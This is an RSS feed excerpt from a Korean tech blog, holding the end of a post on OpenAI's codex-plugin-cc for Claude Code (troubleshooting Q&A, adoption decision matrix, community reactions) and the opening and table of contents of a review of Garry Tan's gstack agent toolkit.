&lt;h3 style=&quot;font-size: 20px; color: #1a3a52; margin: 25px 0 15px; font-weight: 600;&quot; data-ke-size=&quot;size23&quot;&gt;Review Gate 사용량 경고&lt;/h3&gt;
&lt;p style=&quot;margin: 10px 0;&quot; data-ke-size=&quot;size16&quot;&gt;Stop 훅 기반 Review Gate가 활성화되면 Claude Code가 멈출 때마다 Codex 리뷰가 트리거된다 . 이는 추가 Codex 사용량을 발생시킨다.&lt;/p&gt;
&lt;p style=&quot;margin: 10px 0;&quot; data-ke-size=&quot;size16&quot;&gt;불필요하면 &lt;code style=&quot;background: #f0f0f0; padding: 2px 6px; border-radius: 4px; font-family: 'Fira Code','Consolas',monospace; font-size: 14px;&quot;&gt;/codex:setup --disable-review-gate&lt;/code&gt;로 비활성화한다.&lt;/p&gt;
&lt;p style=&quot;margin: 10px 0;&quot; data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h3 style=&quot;font-size: 20px; color: #1a3a52; margin: 25px 0 15px; font-weight: 600;&quot; data-ke-size=&quot;size23&quot;&gt;Node.js 18.18+ 요구&lt;/h3&gt;
&lt;p style=&quot;margin: 10px 0;&quot; data-ke-size=&quot;size16&quot;&gt;package.json에 &lt;code style=&quot;background: #f0f0f0; padding: 2px 6px; border-radius: 4px; font-family: 'Fira Code','Consolas',monospace; font-size: 14px;&quot;&gt;&quot;engines&quot;: {&quot;node&quot;: &quot;&amp;gt;=18.18.0&quot;}&lt;/code&gt;으로 명시되어 있다. 이전 버전의 Node.js에서는 동작하지 않는다.&lt;/p&gt;
&lt;p style=&quot;margin: 10px 0;&quot; data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h3 style=&quot;font-size: 20px; color: #1a3a52; margin: 25px 0 15px; font-weight: 600;&quot; data-ke-size=&quot;size23&quot;&gt;read-only 제한&lt;/h3&gt;
&lt;p style=&quot;margin: 10px 0;&quot; data-ke-size=&quot;size16&quot;&gt;review와 adversarial-review는 read-only(&lt;code style=&quot;background: #f0f0f0; padding: 2px 6px; border-radius: 4px; font-family: 'Fira Code','Consolas',monospace; font-size: 14px;&quot;&gt;sandbox: &quot;read-only&quot;&lt;/code&gt;)로 실행된다. 리뷰 결과를 바탕으로 코드를 자동 수정하지 않으며, codex-result-handling 스킬이 &quot;After presenting review findings, STOP. Do not make any code changes.&quot;를 명시한다.&lt;/p&gt;
&lt;p style=&quot;margin: 10px 0;&quot; data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h3 style=&quot;font-size: 20px; color: #1a3a52; margin: 25px 0 15px; font-weight: 600;&quot; data-ke-size=&quot;size23&quot;&gt;패키지 특성&lt;/h3&gt;
&lt;p style=&quot;margin: 10px 0;&quot; data-ke-size=&quot;size16&quot;&gt;패키지는 &lt;code style=&quot;background: #f0f0f0; padding: 2px 6px; border-radius: 4px; font-family: 'Fira Code','Consolas',monospace; font-size: 14px;&quot;&gt;private: true&lt;/code&gt;로 설정되어 있어 npm에 공개 배포되지 않는다. Claude Code 플러그인 마켓플레이스를 통해서만 설치한다.&lt;/p&gt;
&lt;hr style=&quot;border: none; border-top: 1px solid #e0e0e0; margin: 30px 0;&quot; data-ke-style=&quot;style1&quot; /&gt;&lt;!-- 섹션 9 --&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h2 style=&quot;font-size: 24px; color: #1a3a52; margin: 35px 0 20px; padding-bottom: 10px; border-bottom: 3px solid #cce5ff; font-weight: bold;&quot; data-ke-size=&quot;size26&quot;&gt;&lt;b&gt;9. 트러블슈팅 Q&amp;amp;A&lt;/b&gt;&lt;/h2&gt;
&lt;div style=&quot;background: #f0f4f8; border: 1px solid #d0d9e3; border-radius: 12px; padding: 25px; margin: 15px 0;&quot;&gt;
&lt;p style=&quot;margin: 0 0 8px 0;&quot; data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;Q1. &lt;code style=&quot;background: #f0f0f0; padding: 2px 6px; border-radius: 4px; font-family: 'Fira Code','Consolas',monospace; font-size: 14px;&quot;&gt;/codex:setup&lt;/code&gt; 실행 시 Codex CLI가 없다고 나온다.&lt;/b&gt;&lt;/p&gt;
&lt;p style=&quot;margin: 0;&quot; data-ke-size=&quot;size16&quot;&gt;A. Codex CLI가 미설치 상태이다. setup이 &lt;code style=&quot;background: #f0f0f0; padding: 2px 6px; border-radius: 4px; font-family: 'Fira Code','Consolas',monospace; font-size: 14px;&quot;&gt;npm install -g @openai/codex&lt;/code&gt; 설치를 제안한다. Node.js 18.18 이상이 필요하다.&lt;/p&gt;
&lt;/div&gt;
&lt;div style=&quot;background: #f0f4f8; border: 1px solid #d0d9e3; border-radius: 12px; padding: 25px; margin: 15px 0;&quot;&gt;
&lt;p style=&quot;margin: 0 0 8px 0;&quot; data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;Q2. Codex 인증에 실패한다.&lt;/b&gt;&lt;/p&gt;
&lt;p style=&quot;margin: 0;&quot; data-ke-size=&quot;size16&quot;&gt;A. ChatGPT 구독 또는 OpenAI API 키가 필요하다. &lt;code style=&quot;background: #f0f0f0; padding: 2px 6px; border-radius: 4px; font-family: 'Fira Code','Consolas',monospace; font-size: 14px;&quot;&gt;/codex:setup&lt;/code&gt;이 미인증 시 &lt;code style=&quot;background: #f0f0f0; padding: 2px 6px; border-radius: 4px; font-family: 'Fira Code','Consolas',monospace; font-size: 14px;&quot;&gt;!codex login&lt;/code&gt;(Claude Code 셸 이스케이프)을 안내한다. 로그인 후 다시 시도한다.&lt;/p&gt;
&lt;/div&gt;
&lt;div style=&quot;background: #f0f4f8; border: 1px solid #d0d9e3; border-radius: 12px; padding: 25px; margin: 15px 0;&quot;&gt;
&lt;p style=&quot;margin: 0 0 8px 0;&quot; data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;Q3. Review Gate가 계속 트리거되어 사용량이 급증한다.&lt;/b&gt;&lt;/p&gt;
&lt;p style=&quot;margin: 0;&quot; data-ke-size=&quot;size16&quot;&gt;A. Stop 훅 기반이므로 Claude Code가 멈출 때마다 실행된다. &lt;code style=&quot;background: #f0f0f0; padding: 2px 6px; border-radius: 4px; font-family: 'Fira Code','Consolas',monospace; font-size: 14px;&quot;&gt;/codex:setup --disable-review-gate&lt;/code&gt;로 비활성화한다. config에서 &lt;code style=&quot;background: #f0f0f0; padding: 2px 6px; border-radius: 4px; font-family: 'Fira Code','Consolas',monospace; font-size: 14px;&quot;&gt;stopReviewGate&lt;/code&gt;가 활성화되어 있어야 동작하므로, 설정 상태를 &lt;code style=&quot;background: #f0f0f0; padding: 2px 6px; border-radius: 4px; font-family: 'Fira Code','Consolas',monospace; font-size: 14px;&quot;&gt;/codex:status&lt;/code&gt;로 확인한다.&lt;/p&gt;
&lt;/div&gt;
&lt;div style=&quot;background: #f0f4f8; border: 1px solid #d0d9e3; border-radius: 12px; padding: 25px; margin: 15px 0;&quot;&gt;
&lt;p style=&quot;margin: 0 0 8px 0;&quot; data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;Q4. 모델과 effort를 어떻게 설정하나?&lt;/b&gt;&lt;/p&gt;
&lt;p style=&quot;margin: 0;&quot; data-ke-size=&quot;size16&quot;&gt;A. 명령어에서 &lt;code style=&quot;background: #f0f0f0; padding: 2px 6px; border-radius: 4px; font-family: 'Fira Code','Consolas',monospace; font-size: 14px;&quot;&gt;--model &amp;lt;모델명|spark&amp;gt;&lt;/code&gt;, &lt;code style=&quot;background: #f0f0f0; padding: 2px 6px; border-radius: 4px; font-family: 'Fira Code','Consolas',monospace; font-size: 14px;&quot;&gt;--effort &amp;lt;none|minimal|low|medium|high|xhigh&amp;gt;&lt;/code&gt;로 지정한다. 기본값은 Codex config.toml의 사용자 레벨 또는 프로젝트 레벨 설정을 따른다. &lt;code style=&quot;background: #f0f0f0; padding: 2px 6px; border-radius: 4px; font-family: 'Fira Code','Consolas',monospace; font-size: 14px;&quot;&gt;spark&lt;/code&gt;은 &lt;code style=&quot;background: #f0f0f0; padding: 2px 6px; border-radius: 4px; font-family: 'Fira Code','Consolas',monospace; font-size: 14px;&quot;&gt;gpt-5.3-codex-spark&lt;/code&gt;으로 매핑된다. &lt;code style=&quot;background: #f0f0f0; padding: 2px 6px; border-radius: 4px; font-family: 'Fira Code','Consolas',monospace; font-size: 14px;&quot;&gt;gpt-5.4-mini&lt;/code&gt; 등 별칭에 없는 모델도 직접 지정 가능하다.&lt;/p&gt;
&lt;/div&gt;
&lt;div style=&quot;background: #f0f4f8; border: 1px solid #d0d9e3; border-radius: 12px; padding: 25px; margin: 15px 0;&quot;&gt;
&lt;p style=&quot;margin: 0 0 8px 0;&quot; data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;Q5. 기존 Codex 설정(config.toml)이 호환되나?&lt;/b&gt;&lt;/p&gt;
&lt;p style=&quot;margin: 0;&quot; data-ke-size=&quot;size16&quot;&gt;A. 기본 모델과 reasoning effort는 기존 Codex config.toml에서 커스터마이징할 수 있다. 플러그인은 로컬 Codex CLI를 래핑하는 구조이므로 기존 설정이 그대로 적용된다.&lt;/p&gt;
&lt;/div&gt;
&lt;div style=&quot;background: #f0f4f8; border: 1px solid #d0d9e3; border-radius: 12px; padding: 25px; margin: 15px 0;&quot;&gt;
&lt;p style=&quot;margin: 0 0 8px 0;&quot; data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;Q6. background 작업 진행 상태를 어떻게 확인하나?&lt;/b&gt;&lt;/p&gt;
&lt;p style=&quot;margin: 0;&quot; data-ke-size=&quot;size16&quot;&gt;A. &lt;code style=&quot;background: #f0f0f0; padding: 2px 6px; border-radius: 4px; font-family: 'Fira Code','Consolas',monospace; font-size: 14px;&quot;&gt;/codex:status&lt;/code&gt;로 활성 및 완료 작업을 확인하고, &lt;code style=&quot;background: #f0f0f0; padding: 2px 6px; border-radius: 4px; font-family: 'Fira Code','Consolas',monospace; font-size: 14px;&quot;&gt;/codex:result&lt;/code&gt;로 완료된 작업의 전체 결과를 조회한다. 취소가 필요하면 &lt;code style=&quot;background: #f0f0f0; padding: 2px 6px; border-radius: 4px; font-family: 'Fira Code','Consolas',monospace; font-size: 14px;&quot;&gt;/codex:cancel&lt;/code&gt;을 사용한다.&lt;/p&gt;
&lt;/div&gt;
&lt;hr style=&quot;border: none; border-top: 1px solid #e0e0e0; margin: 30px 0;&quot; data-ke-style=&quot;style1&quot; /&gt;&lt;!-- 섹션 10 --&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h2 style=&quot;font-size: 24px; color: #1a3a52; margin: 35px 0 20px; padding-bottom: 10px; border-bottom: 3px solid #cce5ff; font-weight: bold;&quot; data-ke-size=&quot;size26&quot;&gt;&lt;b&gt;10. 결론 &amp;mdash; 도입 결정 매트릭스 + 크로스벤더 에이전트 협업의 의미&lt;/b&gt;&lt;/h2&gt;
&lt;h3 style=&quot;font-size: 20px; color: #1a3a52; margin: 25px 0 15px; font-weight: 600;&quot; data-ke-size=&quot;size23&quot;&gt;도입 결정 매트릭스: 언제 쓰고, 언제 쓰지 않는가&lt;/h3&gt;
&lt;table style=&quot;width: 100%; border-collapse: collapse; margin: 15px 0; font-size: 15px;&quot; data-ke-align=&quot;alignLeft&quot;&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th style=&quot;background-color: #e8f4f8; border: 1px solid #b3d9ff; padding: 10px; text-align: left; font-weight: 600;&quot;&gt;상황&lt;/th&gt;
&lt;th style=&quot;background-color: #e8f4f8; border: 1px solid #b3d9ff; padding: 10px; text-align: left; font-weight: 600;&quot;&gt;판단&lt;/th&gt;
&lt;th style=&quot;background-color: #e8f4f8; border: 1px solid #b3d9ff; padding: 10px; text-align: left; font-weight: 600;&quot;&gt;이유&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td style=&quot;border: 1px solid #b3d9ff; padding: 8px;&quot;&gt;Claude Code로 코딩 + 별도 리뷰어가 필요&lt;/td&gt;
&lt;td style=&quot;border: 1px solid #b3d9ff; padding: 8px;&quot;&gt;도입 고려&lt;/td&gt;
&lt;td style=&quot;border: 1px solid #b3d9ff; padding: 8px;&quot;&gt;Codex의 독립적 관점으로 크로스 리뷰 가능&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style=&quot;border: 1px solid #b3d9ff; padding: 8px;&quot;&gt;이미 OpenAI API 구독이 있다&lt;/td&gt;
&lt;td style=&quot;border: 1px solid #b3d9ff; padding: 8px;&quot;&gt;도입 유리&lt;/td&gt;
&lt;td style=&quot;border: 1px solid #b3d9ff; padding: 8px;&quot;&gt;추가 비용이 Codex 사용량뿐&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style=&quot;border: 1px solid #b3d9ff; padding: 8px;&quot;&gt;비용에 민감하다&lt;/td&gt;
&lt;td style=&quot;border: 1px solid #b3d9ff; padding: 8px;&quot;&gt;신중 검토&lt;/td&gt;
&lt;td style=&quot;border: 1px solid #b3d9ff; padding: 8px;&quot;&gt;Anthropic + OpenAI 이중 구독 필요&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style=&quot;border: 1px solid #b3d9ff; padding: 8px;&quot;&gt;프로덕션 워크플로우에 즉시 적용&lt;/td&gt;
&lt;td style=&quot;border: 1px solid #b3d9ff; padding: 8px;&quot;&gt;보류 권장&lt;/td&gt;
&lt;td style=&quot;border: 1px solid #b3d9ff; padding: 8px;&quot;&gt;2커밋, 10여 이슈의 극초기 프로젝트 (2026-03-31 GitHub API 기준, 변동 가능)&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style=&quot;border: 1px solid #b3d9ff; padding: 8px;&quot;&gt;보안 민감 코드를 다룬다&lt;/td&gt;
&lt;td style=&quot;border: 1px solid #b3d9ff; padding: 8px;&quot;&gt;adversarial-review 활용&lt;/td&gt;
&lt;td style=&quot;border: 1px solid #b3d9ff; padding: 8px;&quot;&gt;7개 공격 면 기반 심층 리뷰&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style=&quot;border: 1px solid #b3d9ff; padding: 8px;&quot;&gt;리뷰 없이 작업 위임만 필요&lt;/td&gt;
&lt;td style=&quot;border: 1px solid #b3d9ff; padding: 8px;&quot;&gt;rescue 활용&lt;/td&gt;
&lt;td style=&quot;border: 1px solid #b3d9ff; padding: 8px;&quot;&gt;write 모드로 직접 수정까지 가능&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h3 style=&quot;font-size: 20px; color: #1a3a52; margin: 25px 0 15px; font-weight: 600;&quot; data-ke-size=&quot;size23&quot;&gt;커뮤니티 반응과 업계 의미&lt;/h3&gt;
&lt;ul style=&quot;margin: 10px 0; padding-left: 25px;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li style=&quot;margin: 5px 0;&quot;&gt;&lt;b&gt;&quot;자존심이고뭐고 다 버렸구나&quot;&lt;/b&gt;&amp;nbsp; &amp;mdash; OpenAI가 경쟁사 플랫폼에 플러그인을 출시한 것에 대한 놀라움이 주된 반응이었다. 이는 AI 에이전트 시장에서 도달 범위(reach)가 자존심보다 중요해졌다는 신호로 읽을 수 있다.&lt;/li&gt;
&lt;li style=&quot;margin: 5px 0;&quot;&gt;&lt;b&gt;Google/Firefox 검색 딜 비유&lt;/b&gt; &amp;mdash; Google이 Firefox에 기본 검색 엔진 비용을 지불하듯, OpenAI가 Claude Code라는 경쟁사 플랫폼에 진입하는 전략이라는 분석이다. 시장 점유 경쟁에서 플랫폼 진입 전략이 벤더 충성도를 넘어서는 사례다.&lt;/li&gt;
&lt;li style=&quot;margin: 5px 0;&quot;&gt;&lt;b&gt;&quot;코드래빗 어짜냐&quot;&lt;/b&gt;&amp;nbsp;&amp;mdash; CodeRabbit 등 기존 코드 리뷰 도구의 입지에 대한 우려가 있었다. Codex가 Claude Code에 직접 통합되면, 별도 코드 리뷰 SaaS의 가치 제안이 압박받을 수 있다.&lt;/li&gt;
&lt;li style=&quot;margin: 5px 0;&quot;&gt;&lt;b&gt;Claude Code 플랫폼화&lt;/b&gt; &amp;mdash; Claude Code가 단순 에이전트 IDE에서 서드파티 플러그인을 수용하는 플랫폼으로 진화하고 있다는 평가다. 이는 싱글 에이전트 시대의 종언을 의미한다.&lt;/li&gt;
&lt;li style=&quot;margin: 5px 0;&quot;&gt;&lt;b&gt;이중 구독 비용 우려&lt;/b&gt; &amp;mdash; Anthropic + OpenAI 양쪽 구독이 필요하다는 점에서 비용 부담에 대한 실질적 우려가 있었다.&lt;/li&gt;
&lt;/ul&gt;
&lt;p style=&quot;margin: 10px 0;&quot; data-ke-size=&quot;size16&quot;&gt;이 반응들을 종합하면, codex-plugin-cc는 기술적 완성도보다 &lt;b&gt;생태계 전략의 전환점&lt;/b&gt;으로서 의미가 크다. 경쟁사 간 에이전트 협업이 현실화되었고, 앞으로 &quot;어떤 AI를 쓰느냐&quot;보다 &quot;어떤 AI들을 조합하느냐&quot;가 개발 워크플로우의 핵심 질문이 될 가능성이 있다.&lt;/p&gt;
&lt;p style=&quot;margin: 10px 0;&quot; data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h3 style=&quot;font-size: 20px; color: #1a3a52; margin: 25px 0 15px; font-weight: 600;&quot; data-ke-size=&quot;size23&quot;&gt;도입 플레이북&lt;/h3&gt;
&lt;ol style=&quot;margin: 10px 0; padding-left: 25px;&quot; data-ke-list-type=&quot;decimal&quot;&gt;
&lt;li style=&quot;margin: 5px 0;&quot;&gt;&lt;b&gt;오늘&lt;/b&gt;: &lt;code style=&quot;background: #f0f0f0; padding: 2px 6px; border-radius: 4px; font-family: 'Fira Code','Consolas',monospace; font-size: 14px;&quot;&gt;/codex:setup&lt;/code&gt;으로 설치 + 인증 확인. 개인 사이드 프로젝트에서 &lt;code style=&quot;background: #f0f0f0; padding: 2px 6px; border-radius: 4px; font-family: 'Fira Code','Consolas',monospace; font-size: 14px;&quot;&gt;/codex:review&lt;/code&gt; 시험.&lt;/li&gt;
&lt;li style=&quot;margin: 5px 0;&quot;&gt;&lt;b&gt;이번 주&lt;/b&gt;: adversarial-review와 rescue를 병행 테스트. &lt;code style=&quot;background: #f0f0f0; padding: 2px 6px; border-radius: 4px; font-family: 'Fira Code','Consolas',monospace; font-size: 14px;&quot;&gt;--effort&lt;/code&gt; 옵션별 비용/품질 체감 비교.&lt;/li&gt;
&lt;li style=&quot;margin: 5px 0;&quot;&gt;&lt;b&gt;운영 반영 판단&lt;/b&gt;: &lt;a style=&quot;color: #0066cc; text-decoration: none;&quot; href=&quot;https://github.com/openai/codex-plugin-cc/issues&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;오픈 이슈&lt;/a&gt; 해결 추이와 커밋 히스토리를 모니터링한 후 결정. 극초기 프로젝트(2커밋, 10여 이슈 &amp;mdash; 2026-03-31 GitHub API 기준, 변동 가능)이므로 안정성이 검증된 뒤 반영하는 것이 권장된다.&lt;/li&gt;
&lt;/ol&gt;
&lt;/div&gt;
&lt;p style=&quot;text-align: justify;&quot; data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h3 style=&quot;text-align: justify;&quot; data-ke-size=&quot;size23&quot;&gt;마무리&lt;/h3&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignLeft&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;2012&quot; data-origin-height=&quot;1094&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/D8hiL/dJMb990bFiK/EVLCGmYM1xYikRRc8p3mw0/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/D8hiL/dJMb990bFiK/EVLCGmYM1xYikRRc8p3mw0/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/D8hiL/dJMb990bFiK/EVLCGmYM1xYikRRc8p3mw0/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FD8hiL%2FdJMb990bFiK%2FEVLCGmYM1xYikRRc8p3mw0%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;2012&quot; height=&quot;1094&quot; data-origin-width=&quot;2012&quot; data-origin-height=&quot;1094&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;figure class=&quot;imageblock alignLeft&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;2024&quot; data-origin-height=&quot;1096&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/cJdWrm/dJMcajn5S1d/cD26scqOSSZr9z1Lbun2GK/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/cJdWrm/dJMcajn5S1d/cD26scqOSSZr9z1Lbun2GK/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/cJdWrm/dJMcajn5S1d/cD26scqOSSZr9z1Lbun2GK/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FcJdWrm%2FdJMcajn5S1d%2FcD26scqOSSZr9z1Lbun2GK%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;2024&quot; height=&quot;1096&quot; data-origin-width=&quot;2024&quot; data-origin-height=&quot;1096&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;</description>
      <category>AI/Claude</category>
      <category>AI 코드리뷰</category>
      <category>AI에이전트협업</category>
      <category>claude code</category>
      <category>codex-plugin-cc</category>
      <category>openai codex</category>
      <category>OpenAI플러그인</category>
      <category>Review Gate</category>
      <category>코드리뷰자동화</category>
      <category>크로스벤더 AI</category>
      <category>크로스벤더에이전트</category>
      <author>갓대희</author>
      <guid isPermaLink="true">https://goddaehee.tistory.com/571</guid>
      <comments>https://goddaehee.tistory.com/571#entry571comment</comments>
      <pubDate>Tue, 31 Mar 2026 19:00:09 +0900</pubDate>
    </item>
    <item>
      <title>&amp;quot;하네스 엔지니어링&amp;quot; - gstack(혼자서 팀처럼 개발하기) 리뷰 : Garry Tan의 Claude Code 셋업을 내 프로젝트에 적용하는 법</title>
      <link>https://goddaehee.tistory.com/570</link>
      <description>&lt;div style=&quot;font-family: 'Pretendard', -apple-system, BlinkMacSystemFont, system-ui, sans-serif; line-height: 1.8; max-width: 900px; margin: 0 auto; font-size: 16px; box-sizing: border-box; color: #333;&quot;&gt;
&lt;p data-ke-size=&quot;size8&quot;&gt;&lt;span style=&quot;font-family: Pretendard, -apple-system, BlinkMacSystemFont, system-ui, sans-serif; letter-spacing: 0px;&quot;&gt;안녕하세요! 갓대희 입니다.&lt;/span&gt;&lt;/p&gt;
&lt;figure class=&quot;imageblock alignLeft&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;2284&quot; data-origin-height=&quot;1444&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/dluarQ/dJMcagSvDWE/sxB9Qsfa0mLmQgGtTtNpAK/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/dluarQ/dJMcagSvDWE/sxB9Qsfa0mLmQgGtTtNpAK/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/dluarQ/dJMcagSvDWE/sxB9Qsfa0mLmQgGtTtNpAK/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FdluarQ%2FdJMcagSvDWE%2FsxB9Qsfa0mLmQgGtTtNpAK%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;2284&quot; height=&quot;1444&quot; data-origin-width=&quot;2284&quot; data-origin-height=&quot;1444&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;

&lt;p data-ke-size=&quot;size8&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;/div&gt;
&lt;div style=&quot;font-family: 'Pretendard', -apple-system, BlinkMacSystemFont, system-ui, sans-serif; line-height: 1.8; max-width: 900px; margin: 0 auto; font-size: 16px; box-sizing: border-box; color: #333;&quot;&gt;
&lt;p style=&quot;margin-bottom: 15px;&quot; data-ke-size=&quot;size16&quot;&gt;Y Combinator(YC) 사장이자 CEO인 &lt;b&gt;Garry Tan&lt;/b&gt;이 자신의 Claude Code 셋업을 오픈소스로 공개했다.&lt;/p&gt;
&lt;p style=&quot;margin-bottom: 15px;&quot; data-ke-size=&quot;size16&quot;&gt;이름은 &lt;b&gt;gstack&lt;/b&gt;. CEO, 디자이너, 엔지니어링 매니저, Release Engineer, Doc Engineer, QA 엔지니어 등 역할을 각각 담당하는 AI 에이전트들로 구성된 개발 워크플로우 툴킷이다. 공개 2주 만에 GitHub에서 &lt;b&gt;56,000+개의 스타&lt;/b&gt;(2026-03-30 GitHub API 기준, 지속 증가 중)를 받으며 2026년 가장 빠르게 성장한 개발 도구 중 하나로 자리잡았다.&lt;/p&gt;
&lt;p style=&quot;margin-bottom: 15px;&quot; data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p style=&quot;margin-bottom: 15px;&quot; data-ke-size=&quot;size16&quot;&gt;단순한 프롬프트 모음집이 아니다. Garry Tan 본인의 표현대로 &lt;b&gt;&quot;That is not a copilot. That is a team.&quot;&lt;/b&gt; &amp;mdash; 각 개발 단계마다 다른 인지 모드를 스위칭하는 구조적 접근법이다. 처음 공개 시 6개 도구였으나 빠르게 성장하여 현재 29개의 스킬을 포함하며, Claude Code뿐 아니라 Codex CLI도 지원하고 SKILL.md 표준을 따르는 Python 에이전트 전반과 호환된다. 이 글에서는 gstack이 무엇인지, 어떻게 셋업하는지, 실제로 어떻게 활용하는지, 그리고 커뮤니티의 찬반 양론까지 살펴본다.&lt;/p&gt;
&lt;div style=&quot;background-color: #e8f4f8; padding: 20px; border-radius: 12px; border-left: 5px solid #0066cc; margin-bottom: 30px;&quot;&gt;GitHub: &lt;a style=&quot;color: #0066cc;&quot; href=&quot;https://github.com/garrytan/gstack&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;https://github.com/garrytan/gstack&lt;/a&gt;&lt;br /&gt;Stars: 56,000+ | Forks: 7,300+ (2026-03-30 GitHub API 조회 기준, 실시간 변동) | 언어: TypeScript | 요구사항: Claude Code(또는 Codex CLI) + Git + Bun v1.0+ (Windows는 Node.js 추가 필요)&lt;/div&gt;
&lt;!-- 목차 --&gt;
&lt;div style=&quot;background-color: #f8fbff; padding: 20px 25px; border-radius: 12px; border: 2px solid #cce5ff; margin: 20px 0 30px 0;&quot;&gt;
&lt;h3 style=&quot;color: #0066cc; margin: 0 0 15px 0; font-size: 18px; border-bottom: 2px solid #cce5ff; padding-bottom: 10px;&quot; data-ke-size=&quot;size23&quot;&gt;목차&lt;/h3&gt;
&lt;ol style=&quot;margin: 0; padding-left: 20px; line-height: 2;&quot; data-ke-list-type=&quot;decimal&quot;&gt;
&lt;li style=&quot;margin-bottom: 5px;&quot;&gt;Garry Tan은 누구인가?&lt;/li&gt;
&lt;li style=&quot;margin-bottom: 5px;&quot;&gt;gstack이란? &amp;mdash; 탄생 배경과 철학
&lt;ul style=&quot;margin: 5px 0; padding-left: 20px; line-height: 1.8; list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;하네스 엔지니어링 관점에서 본 gstack&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li style=&quot;margin-bottom: 5px;&quot;&gt;29가지 역할별 에이전트 스킬 해부
&lt;ul style=&quot;margin: 5px 0; padding-left: 20px; line-height: 1.8; list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;YC Office Hours &amp;mdash; /office-hours&lt;/li&gt;
&lt;li&gt;CEO 리뷰 모드 &amp;mdash; /plan-ceo-review&lt;/li&gt;
&lt;li&gt;엔지니어링 매니저 모드 &amp;mdash; /plan-eng-review&lt;/li&gt;
&lt;li&gt;디자인 리뷰 &amp;mdash; /plan-design-review, /design-consultation, /design-review&lt;/li&gt;
&lt;li&gt;Staff Engineer 모드 &amp;mdash; /review, /investigate&lt;/li&gt;
&lt;li&gt;Release &amp;amp; Deploy &amp;mdash; /ship, /land-and-deploy, /canary, /benchmark&lt;/li&gt;
&lt;li&gt;QA Engineer &amp;mdash; /browse, /qa, /qa-only&lt;/li&gt;
&lt;li&gt;보안&amp;middot;안전 &amp;mdash; /cso, /careful, /freeze, /guard, /unfreeze&lt;/li&gt;
&lt;li&gt;유틸리티 &amp;mdash; /codex, /retro, /document-release, /gstack-upgrade&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
